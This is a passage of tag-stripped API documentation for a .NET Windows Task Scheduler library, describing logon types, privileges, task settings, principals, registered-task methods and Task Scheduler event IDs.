in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see 